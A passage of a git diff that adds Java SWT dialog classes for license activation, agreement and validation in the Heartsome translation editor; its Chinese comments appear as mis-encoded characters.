Messages.getString("license.GetActiveKeyDialog.ts").length(); + StyleRange styleRange = new StyleRange(); + styleRange.start = start; + styleRange.length = length; + styleRange.fontStyle = SWT.BOLD; + styleRange.foreground = Display.getDefault().getSystemColor(SWT.COLOR_BLUE); + text.setStyleRange(styleRange); + + Label label = new Label(groupActivekey, SWT.WRAP | SWT.NONE); + label.setText(Messages.getString("license.GetActiveKeyDialog.activemessage1")); + GridDataFactory.fillDefaults().span(2, 1).applyTo(label); + + textActivekey = new Text(groupActivekey, SWT.MULTI | SWT.WRAP); + textActivekey.setEditable(false); + textActivekey.setText(activekey); + textActivekey.setBackground(Display.getDefault().getSystemColor(SWT.COLOR_WHITE)); + GridDataFactory.fillDefaults().grab(true, false).hint(SWT.DEFAULT, 150).applyTo(textActivekey); + + Button btnCopy = new Button(groupActivekey, SWT.NONE); + GridDataFactory.fillDefaults().align(SWT.CENTER, SWT.END).applyTo(btnCopy); + btnCopy.setImage(Activator.getImageDescriptor("images/help/copy.png").createImage()); + btnCopy.setToolTipText(Messages.getString("license.GetActiveKeyDialog.copytoclipboard")); + btnCopy.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent event) { + Clipboard cb = new Clipboard(Display.getCurrent()); + String textData = textActivekey.getText(); + TextTransfer textTransfer = TextTransfer.getInstance(); + cb.setContents(new Object[] { textData }, new Transfer[] { textTransfer }); + } + }); + + return tparent; + } + + @Override + protected Point getInitialSize() { + return new Point(520, 470); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("license.LicenseManageDialog.title")); + } + + private void createNavigation(Composite parent) { + Label label = new Label(parent, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.operatenavigation")); + + RowLayout layout = new RowLayout(); + Composite comp = new Composite(parent, SWT.NONE); + comp.setLayout(layout); + + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.inputlicenseid")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.seperate")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.getactivekey")); + label.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_BLUE)); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.seperate")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.getgrantfile")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.seperate")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.activefinish")); + } + + @Override + protected void okPressed() { + Point p = getShell().getLocation(); + super.okPressed(); + SelectGrantFileDialog dialog = new SelectGrantFileDialog(getShell(), p); + dialog.open(); + } + + /** (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + return "/net.heartsome.cat.te.ui.help/html/{0}/ch08.html#license_id"; + } + +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/InvalidateDialog.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/InvalidateDialog.java new file mode 100644 index 0000000..1751143 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/InvalidateDialog.java @@ -0,0 +1,201 @@ +package net.heartsome.license; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog; +import net.heartsome.license.constants.Constants; +import net.heartsome.license.generator.LicenseIdGenerator; +import net.heartsome.license.resource.Messages; +import net.heartsome.license.utils.StringUtils; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +public class InvalidateDialog extends HsAbstractHelpDilog { + + private int type; + private String utilDate; + private String licenseId; + private Text text; + + /** + * Create the dialog. + * @param parentShell + */ + public InvalidateDialog(Shell parentShell, int type, String utilDate, String licenseId) { + super(parentShell); + setShellStyle(SWT.CLOSE | SWT.TITLE); + this.type = type; + this.utilDate = utilDate; + this.licenseId = licenseId; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("license.InvalidateDialog.title")); + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + Composite container = (Composite) super.createDialogArea(parent); + container.setLayout(new GridLayout(1, false)); + + Composite composite = new Composite(container, SWT.NONE); + GridLayout gl_composite = new GridLayout(2, false); + gl_composite.marginWidth = 0; + gl_composite.marginHeight = 0; + composite.setLayout(gl_composite); + composite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, false, false, 1, 1)); + + Label warningIcon = new Label(composite, SWT.NONE); + warningIcon.setImage(Display.getDefault().getSystemImage(SWT.ICON_WARNING)); + + Label msgLabel = new Label(composite, SWT.WRAP); + GridData gd_lblNewLabel = new GridData(SWT.FILL, SWT.FILL, false, false, 1, 1); + gd_lblNewLabel.heightHint = 75; + gd_lblNewLabel.widthHint = 460; + msgLabel.setLayoutData(gd_lblNewLabel); + msgLabel.setText(Messages.getString("license.InvalidateDialog.msg1")); + + text = new Text(container, SWT.BORDER | SWT.READ_ONLY | SWT.WRAP); + text.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + text.setText(getValidateMessage()); + + return container; + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, Messages.getString("license.InvalidateDialog.activeBtn"), true); + createButton(parent, IDialogConstants.CANCEL_ID, Messages.getString("license.InvalidateDialog.closeBtn"), false); + Button okBtn = getButton(IDialogConstants.OK_ID); + if (type == Constants.EXCEPTION_INT16 || type == Constants.EXCEPTION_INT17 || type == Constants.EXCEPTION_INT1 + || type == Constants.EXCEPTION_INT2 || type == Constants.EXCEPTION_INT3 + || type == Constants.EXCEPTION_INT4) { + okBtn.setEnabled(false); + } + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return new Point(514, 261); + } + + @Override + protected void okPressed() { + super.okPressed(); + if (type == Constants.STATE_NOT_ACTIVATED) { + // 未激活 + LicenseAgreementDialog dialog = new LicenseAgreementDialog(Display.getDefault().getActiveShell()); + dialog.open(); + } else if (type == Constants.STATE_INVALID) { + // 许å¯è¯æ— æ•ˆ + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), + Constants.STATE_INVALID, utilDate, licenseId); + dialog.open(); + } else if (type == Constants.STATE_EXPIRED) { + // 试用期已满 + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), + Constants.STATE_EXPIRED, utilDate, licenseId); + dialog.open(); + } else if (type == Constants.EXCEPTION_INT14) { + // 产å“版本ä¸ä¸€è‡´ + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), + Constants.EXCEPTION_INT14, utilDate, licenseId); + dialog.open(); + } else if (type == Constants.EXCEPTION_INT15) { + // 该许å¯è¯å¹¶éžåœ¨å½“å‰è®¡ç®—机上激活,或您已更æ¢æœ¬è®¡ç®—机的硬件。 请é‡æ–°åœ¨æœ¬è®¡ç®—机上激活您的许å¯è¯ã€‚ + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), + Constants.EXCEPTION_INT15, utilDate, licenseId); + dialog.open(); + } else { + // 请å°è¯•é‡æ–°è¿è¡Œæœ¬è½¯ä»¶ï¼Œæˆ–以管ç†å‘˜èº«ä»½é‡æ–°è¿è¡Œã€‚ 若此问题ä»ç„¶å­˜åœ¨ï¼Œæ‚¨ä¹Ÿå¯ä»¥å°è¯•é‡æ–°æ¿€æ´»è®¸å¯è¯ï¼Œæˆ–è”ç³» + // Heartsome 技术支æŒäººå‘˜ï¼Œå¹¶æ供如下错误代ç ï¼š{0}。 + LicenseManageDialog dialog = new LicenseManageDialog(Display.getDefault().getActiveShell(), type, utilDate, + licenseId); + dialog.open(); + } + } + + private String getValidateMessage() { + String invalidReasonMsg = ""; + if (type == Constants.STATE_NOT_ACTIVATED) { + invalidReasonMsg = Messages.getString("license.LicenseManageDialog.notActiveLabel"); + } else if (type == Constants.STATE_INVALID) { + invalidReasonMsg = Messages.getString("license.LicenseManageDialog.invalidLicense"); + } else if (type == Constants.STATE_EXPIRED) { + invalidReasonMsg = Messages.getString("license.LicenseManageDialog.expired"); + } else if (type == Constants.EXCEPTION_INT16 || type == Constants.EXCEPTION_INT17) { + // 网络原因 + invalidReasonMsg = MessageFormat.format(Messages.getString("license.LicenseManageDialog.noticeLbl"), + StringUtils.getErrorCode(type)); + } else if (type == Constants.EXCEPTION_INT14) { + // 产å“版本ä¸ä¸€è‡´ + invalidReasonMsg = MessageFormat.format(Messages.getString("license.LicenseManageDialog.noSameVersion"), + getVersionContent(System.getProperty("TSEdition")), getVersionContent(new LicenseIdGenerator( + licenseId).getVersion())); + + } else if (type == Constants.EXCEPTION_INT15) { + invalidReasonMsg = Messages.getString("license.LicenseManageDialog.maccodeError"); + // 该许å¯è¯å¹¶éžåœ¨å½“å‰è®¡ç®—机上激活,或您已更æ¢æœ¬è®¡ç®—机的硬件。 请é‡æ–°åœ¨æœ¬è®¡ç®—机上激活您的许å¯è¯ã€‚ + } else if (type == Constants.EXCEPTION_INT1 || type == Constants.EXCEPTION_INT2 + || type == Constants.EXCEPTION_INT3 || type == Constants.EXCEPTION_INT4) { + invalidReasonMsg = MessageFormat.format( + Messages.getString("license.LicenseManageDialog.licenseExceptionInfo1"), + StringUtils.getErrorCode(type)); + // 请å°è¯•é‡æ–°è¿è¡Œæœ¬è½¯ä»¶ï¼Œæˆ–以管ç†å‘˜èº«ä»½é‡æ–°è¿è¡Œã€‚ 若此问题ä»ç„¶å­˜åœ¨ï¼Œæ‚¨ä¹Ÿå¯ä»¥å°è¯•é‡æ–°æ¿€æ´»è®¸å¯è¯ï¼Œæˆ–è”ç³» + // Heartsome 技术支æŒäººå‘˜ï¼Œå¹¶æ供如下错误代ç ï¼š{0}。 + } else { + invalidReasonMsg = MessageFormat.format( + Messages.getString("license.LicenseManageDialog.licenseExceptionInfo"), + StringUtils.getErrorCode(type)); + // 请å°è¯•é‡æ–°è¿è¡Œæœ¬è½¯ä»¶ï¼Œæˆ–以管ç†å‘˜èº«ä»½é‡æ–°è¿è¡Œã€‚ 若此问题ä»ç„¶å­˜åœ¨ï¼Œæ‚¨ä¹Ÿå¯ä»¥å°è¯•é‡æ–°æ¿€æ´»è®¸å¯è¯ï¼Œæˆ–è”ç³» + // Heartsome 技术支æŒäººå‘˜ï¼Œå¹¶æ供如下错误代ç ï¼š{0}。 + } + return invalidReasonMsg; + } + + private String getVersionContent(String version) { + if ("U".equals(version)) { + return Messages.getString("license.LicenseManageDialog.Ultimate"); + } else if ("F".equals(version)) { + return Messages.getString("license.LicenseManageDialog.Professional"); + } else if ("P".equals(version)) { + return Messages.getString("license.LicenseManageDialog.Personal"); + } else { + return Messages.getString("license.LicenseManageDialog.Lite"); + } + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + return "/net.heartsome.cat.te.ui.help/html/{0}/ch08.html#license_id"; + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LicenseAgreementDialog.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LicenseAgreementDialog.java new file mode 100644 index 0000000..a106b17 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LicenseAgreementDialog.java @@ -0,0 +1,106 @@ +package net.heartsome.license; + +import net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog; +import net.heartsome.license.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +public class LicenseAgreementDialog extends HsAbstractHelpDilog { + + private Button agreeBtn; + + public LicenseAgreementDialog(Shell parentShell) { + super(parentShell); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + + Button nextBtn = getButton(IDialogConstants.OK_ID); + nextBtn.setEnabled(false); + nextBtn.setText(Messages.getString("license.LicenseAgreementDialog.nextBtn")); + Button exitBtn = getButton(IDialogConstants.CANCEL_ID); + exitBtn.setText(Messages.getString("license.LicenseAgreementDialog.exitBtn")); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridLayout layout = new GridLayout(); + layout.marginTop = 5; + layout.marginWidth = 10; + tparent.setLayout(layout); + GridData parentData = new GridData(SWT.FILL, SWT.FILL, true, true); + parentData.heightHint = 380; + tparent.setLayoutData(parentData); + + Label lbl = new Label(tparent, SWT.NONE); + lbl.setText(Messages.getString("license.LicenseAgreementDialog.label")); + lbl.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + Text text = new Text(tparent, SWT.MULTI | SWT.WRAP | SWT.V_SCROLL); + text.setEditable(false); + text.setBackground(Display.getDefault().getSystemColor(SWT.COLOR_WHITE)); + text.setText(Messages.getString("license.LicenseAgreementDialog.agreement")); + GridData textData = new GridData(GridData.FILL_BOTH); + text.setLayoutData(textData); + + agreeBtn = new Button(tparent, SWT.CHECK); + agreeBtn.setText(Messages.getString("license.LicenseAgreementDialog.agreeBtn")); + agreeBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + agreeBtn.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + getButton(IDialogConstants.OK_ID).setEnabled(agreeBtn.getSelection()); + } + + }); + + return super.createDialogArea(parent); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("license.LicenseAgreementDialog.title")); + } + + @Override + protected Point getInitialSize() { + return new Point(500, 420); + } + + @Override + protected void okPressed() { + Point p = getShell().getLocation(); + super.okPressed(); + ActiveMethodDialog dialog = new ActiveMethodDialog(getShell(), p); + dialog.open(); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + // TODO Auto-generated method stub + return "/net.heartsome.cat.te.ui.help/html/{0}/ch08.html#license_id"; + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LicenseIdValidator.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LicenseIdValidator.java new file mode 100644 index 0000000..3d27b63 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LicenseIdValidator.java @@ -0,0 +1,50 @@ +package net.heartsome.license; + +import net.heartsome.license.constants.Constants; +import net.heartsome.license.generator.LicenseIdGenerator; + +public class LicenseIdValidator { + + private boolean isTrial; + private LicenseIdGenerator gen; + + public LicenseIdValidator(String licenseId) { + gen = new LicenseIdGenerator(licenseId); + } + + public boolean checkLicense() { + if (!gen.checkLength()) { + return false; + } + + String temp = gen.getIsTrial(); + if (!Constants.TYPE_TMEP.equals(temp) && !Constants.TYPE_BUSINESS.equals(temp)) { + return false; + } + + isTrial = Constants.TYPE_TMEP.equals(temp); + if (!System.getProperty("TSVersion").equals(gen.getProductId())) { + return false; + } + + temp = gen.getVersion(); + if (!"U".equals(temp) && !"F".equals(temp) && !"P".equals(temp) && !"L".equals(temp)) { + return false; + } + + return true; + } + + public boolean checkEdition() { + if (!System.getProperty("TSEdition").equals(gen.getVersion())) { + return false; + } + + System.getProperties().setProperty("TSHelp", "true"); + return true; + } + + public boolean getType() { + return isTrial; + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LicenseManageDialog.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LicenseManageDialog.java new file mode 100644 index 0000000..794cf67 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LicenseManageDialog.java @@ -0,0 +1,899 @@ +package net.heartsome.license; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; + +import net.heartsome.cat.common.ui.Activator; +import net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog; +import net.heartsome.cat.common.ui.dialog.HsPreferenceDialog; +import net.heartsome.cat.ts.help.TeSystemResourceUtil; +import net.heartsome.license.constants.Constants; +import net.heartsome.license.generator.LicenseIdGenerator; +import net.heartsome.license.resource.Messages; +import net.heartsome.license.utils.StringUtils; +import net.heartsome.license.webservice.ServiceUtil; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.IPreferenceNode; +import org.eclipse.jface.preference.PreferenceLabelProvider; +import org.eclipse.jface.preference.PreferenceManager; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.MouseListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.layout.RowData; +import org.eclipse.swt.layout.RowLayout; +import org.eclipse.swt.program.Program; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.ProgressBar; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; + +public class LicenseManageDialog extends HsAbstractHelpDilog { + + private int type; + private String utilDate; + private String licenseId; + private boolean isShowBack = false; + private Point p; + + private Text text; + private Text text1; + private Text text2; + private Text text3; + private Text text4; + private Text text5; + private Text text6; + private Label label4; + private ProgressBar bar; + private Cursor cursor = new Cursor(Display.getDefault(), SWT.CURSOR_HAND); + + public LicenseManageDialog(Shell parent, int type, String utilDate, String licenseId) { + super(parent); + this.type = type; + this.utilDate = utilDate; + this.licenseId = licenseId; + } + + public LicenseManageDialog(Shell parent, int type, String utilDate, String licenseId, boolean isShowBack, Point p) { + super(parent); + this.type = type; + this.utilDate = utilDate; + this.licenseId = licenseId; + this.isShowBack = isShowBack; + this.p = p; + } + + @Override + protected Point getInitialLocation(Point initialSize) { + if (p == null) { + return super.getInitialLocation(initialSize); + } else { + return p; + } + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + if (isShowBack) { + Button backBtn = createButton(parent, IDialogConstants.BACK_ID, + Messages.getString("license.OfflineActiveDialog.backBtn"), false); + + backBtn.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + setReturnCode(OK); + Point p = getShell().getLocation(); + close(); + ActiveMethodDialog dialog = new ActiveMethodDialog(getShell(), p); + dialog.open(); + } + + }); + } + + Button button = createButton(parent, 11, Messages.getString("license.LicenseManageDialog.netconnection"), false); + button.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + PreferenceManager mgr = window.getWorkbench().getPreferenceManager(); + IPreferenceNode node = null; + + @SuppressWarnings("unchecked") + List lstNodes = mgr.getElements(PreferenceManager.PRE_ORDER); + for (IPreferenceNode n : lstNodes) { + if (n.getId().equals("org.eclipse.ui.net.proxy_preference_page_context")) { + node = n; + } + } + if (node == null) { + return; + } + mgr = new PreferenceManager(); + mgr.addToRoot(node); + + HsPreferenceDialog dlg = new HsPreferenceDialog(window.getShell(), mgr); + dlg.create(); + final List imageList = new ArrayList(); + dlg.getTreeViewer().setLabelProvider(new PreferenceLabelProvider() { + Image image = null; + + public Image getImage(Object element) { + String id = ((IPreferenceNode) element).getId(); + if ("org.eclipse.ui.net.proxy_preference_page_context".equals(id)) { + // 网络连接 + image = Activator.getImageDescriptor("icons/network.png").createImage(); + imageList.add(image); + return image; + } else { + return null; + } + } + }); + dlg.open(); + for (Image img : imageList) { + if (img != null && !img.isDisposed()) { + img.dispose(); + } + } + imageList.clear(); + } + }); + boolean isDefault = false; + if (type == Constants.STATE_NOT_ACTIVATED || type == Constants.STATE_INVALID || type == Constants.STATE_EXPIRED + || type == Constants.EXCEPTION_INT14 || type == Constants.EXCEPTION_INT15 + || type == Constants.EXCEPTION_INT1 || type == Constants.EXCEPTION_INT2 + || type == Constants.EXCEPTION_INT3 || type == Constants.EXCEPTION_INT4) { + createButton(parent, IDialogConstants.OK_ID, Messages.getString("license.LicenseManageDialog.activeBtn"), + true); + isDefault = true; + } + createButton(parent, IDialogConstants.CANCEL_ID, Messages.getString("license.LicenseManageDialog.exitBtn"), + !isDefault).setFocus(); + + } + + + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + + GridLayout layout = new GridLayout(); + layout.marginWidth = 10; + layout.marginTop = 10; + tparent.setLayout(layout); + + GridData data = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_HORIZONTAL); + tparent.setLayoutData(data); + + createStatusComp(tparent); + createActiveComp(tparent); + createBarComp(tparent); + + return super.createDialogArea(parent); + } + + private void createStatusComp(Composite parent) { + Group statusGroup = new Group(parent, SWT.NONE); + statusGroup.setText(Messages.getString("license.LicenseManageDialog.statusGroup")); + GridData dataStatusGroup = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_HORIZONTAL); + dataStatusGroup.heightHint = 150; + statusGroup.setLayoutData(dataStatusGroup); + statusGroup.setLayout(new GridLayout()); + + GridData data = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_HORIZONTAL); + RowLayout layout = new RowLayout(); + layout.center = true; + + Composite comp0 = new Composite(statusGroup, SWT.NONE); + comp0.setLayoutData(data); + comp0.setLayout(layout); + + Label statusLbl = new Label(comp0, SWT.NONE); + statusLbl.setText(Messages.getString("license.LicenseManageDialog.statusLabel")); + + if (type == Constants.STATE_NOT_ACTIVATED) { + Label statusLbl1 = new Label(comp0, SWT.NONE); + statusLbl1.setText(Messages.getString("license.LicenseManageDialog.notActiveLabel")); + } else if (type == Constants.STATE_VALID) { + Label statusLbl1 = new Label(comp0, SWT.NONE); + statusLbl1.setText(Messages.getString("license.LicenseManageDialog.activeLabel")); + + new Label(comp0, SWT.NONE).setLayoutData(new RowData(30, SWT.DEFAULT)); + + Button btnCancelActive = new Button(comp0, SWT.NONE); + btnCancelActive.setText(Messages.getString("license.LicenseManageDialog.cancelActiveButton")); + btnCancelActive.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + boolean result = MessageDialog.openConfirm(getShell(), + Messages.getString("license.LicenseManageDialog.confirm"), + Messages.getString("license.LicenseManageDialog.confirmMessage")); + if (result) { + try { + int re = ServiceUtil.cancel(); + if (re == Constants.LOGOUT_SUCCESS) { + MessageDialog.openInformation(getShell(), + Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.LicenseManageDialog.unactiveSuccess")); + LicenseManageDialog.this.close(); + PlatformUI.getWorkbench().restart(); + } else { + MessageDialog.openInformation(getShell(), + Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.LicenseManageDialog.unactiveFail")); + } + } catch (Exception e1) { + e1.printStackTrace(); + Throwable t = e1; + while (t.getCause() != null) { + t = t.getCause(); + } + if (t instanceof java.security.cert.CertificateException) { + MessageDialog.openInformation(getShell(), Messages + .getString("license.LicenseManageDialog.titleNet"), MessageFormat.format( + Messages.getString("license.LicenseManageDialog.infoNet"), + Constants.EXCEPTION_STRING16)); + } else { + MessageDialog.openInformation(getShell(), Messages + .getString("license.LicenseManageDialog.titleNet"), MessageFormat.format( + Messages.getString("license.LicenseManageDialog.infoNet"), + Constants.EXCEPTION_STRING17)); + } + } + } + } + + }); + + Composite comp1 = new Composite(statusGroup, SWT.NONE); + comp1.setLayoutData(data); + comp1.setLayout(layout); + + Label typeLbl = new Label(comp1, SWT.NONE); + typeLbl.setText(Messages.getString("license.LicenseManageDialog.typeLabel")); + + Label typeLbl1 = new Label(comp1, SWT.NONE); + typeLbl1.setText(Messages.getString(utilDate == null ? "license.LicenseManageDialog.typeBusiness" + : "license.LicenseManageDialog.typeTemp")); + + if (utilDate != null) { + Composite comp2 = new Composite(statusGroup, SWT.NONE); + comp2.setLayoutData(data); + comp2.setLayout(layout); + + Label typeLbl2 = new Label(comp2, SWT.NONE); + typeLbl2.setText(Messages.getString("license.LicenseManageDialog.utilDate")); + + Label dateLbl = new Label(comp2, SWT.NONE); + dateLbl.setText(utilDate); + } + } else if (type == Constants.STATE_INVALID) { + Label statusLbl1 = new Label(comp0, SWT.NONE); + statusLbl1.setText(Messages.getString("license.LicenseManageDialog.invalidLicense")); + } else if (type == Constants.STATE_EXPIRED) { + Label statusLbl1 = new Label(comp0, SWT.NONE); + statusLbl1.setText(Messages.getString("license.LicenseManageDialog.expired")); + + Composite comp1 = new Composite(statusGroup, SWT.NONE); + comp1.setLayoutData(data); + comp1.setLayout(layout); + + Label typeLbl = new Label(comp1, SWT.NONE); + typeLbl.setText(Messages.getString("license.LicenseManageDialog.typeLabel")); + + Label typeLbl1 = new Label(comp1, SWT.NONE); + typeLbl1.setText(Messages.getString(utilDate == null ? "license.LicenseManageDialog.typeBusiness" + : "license.LicenseManageDialog.typeTemp")); + + if (utilDate != null) { + Composite comp2 = new Composite(statusGroup, SWT.NONE); + comp2.setLayoutData(data); + comp2.setLayout(layout); + + Label typeLbl2 = new Label(comp2, SWT.NONE); + typeLbl2.setText(Messages.getString("license.LicenseManageDialog.utilDate")); + + Label dateLbl = new Label(comp2, SWT.NONE); + dateLbl.setText(utilDate); + } + } else if (type == Constants.EXCEPTION_INT16 || type == Constants.EXCEPTION_INT17) { + Label statusLbl1 = new Label(comp0, SWT.NONE); + statusLbl1.setText(Messages.getString("license.LicenseManageDialog.unvalidate")); + + Composite comp1 = new Composite(statusGroup, SWT.NONE); + GridData data1 = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_BOTH); + comp1.setLayoutData(data1); + GridLayout layout1 = new GridLayout(); + comp1.setLayout(layout1); + + Label noticeLbl = new Label(comp1, SWT.WRAP); + GridData dataLabel = new GridData(GridData.FILL_HORIZONTAL); + noticeLbl.setLayoutData(dataLabel); + noticeLbl.setText(MessageFormat.format(Messages.getString("license.LicenseManageDialog.noticeLbl"), + StringUtils.getErrorCode(type))); + } else if (type == Constants.EXCEPTION_INT14) { + Label statusLbl1 = new Label(comp0, SWT.NONE); + statusLbl1.setText(Messages.getString("license.LicenseManageDialog.licenseException")); + + Composite comp1 = new Composite(statusGroup, SWT.NONE); + GridData data1 = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_BOTH); + comp1.setLayoutData(data1); + GridLayout layout1 = new GridLayout(); + comp1.setLayout(layout1); + + Label noticeLbl = new Label(comp1, SWT.WRAP); + GridData dataLabel = new GridData(GridData.FILL_HORIZONTAL); + noticeLbl.setLayoutData(dataLabel); + noticeLbl.setText(MessageFormat.format(Messages.getString("license.LicenseManageDialog.noSameVersion"), + getVersionContent(System.getProperty("TSEdition")), getVersionContent(new LicenseIdGenerator( + licenseId).getVersion()))); + } else if (type == Constants.EXCEPTION_INT15) { + Label statusLbl1 = new Label(comp0, SWT.NONE); + statusLbl1.setText(Messages.getString("license.LicenseManageDialog.licenseException")); + + Composite comp1 = new Composite(statusGroup, SWT.NONE); + GridData data1 = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_BOTH); + comp1.setLayoutData(data1); + GridLayout layout1 = new GridLayout(); + comp1.setLayout(layout1); + + Label noticeLbl = new Label(comp1, SWT.WRAP); + GridData dataLabel = new GridData(GridData.FILL_HORIZONTAL); + noticeLbl.setLayoutData(dataLabel); + noticeLbl.setText(Messages.getString("license.LicenseManageDialog.maccodeError")); + } else if (type == Constants.EXCEPTION_INT1 || type == Constants.EXCEPTION_INT2 + || type == Constants.EXCEPTION_INT3 || type == Constants.EXCEPTION_INT4) { + Label statusLbl1 = new Label(comp0, SWT.NONE); + statusLbl1.setText(Messages.getString("license.LicenseManageDialog.licenseException")); + + Composite comp1 = new Composite(statusGroup, SWT.NONE); + GridData data1 = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_BOTH); + comp1.setLayoutData(data1); + GridLayout layout1 = new GridLayout(); + comp1.setLayout(layout1); + + Label noticeLbl = new Label(comp1, 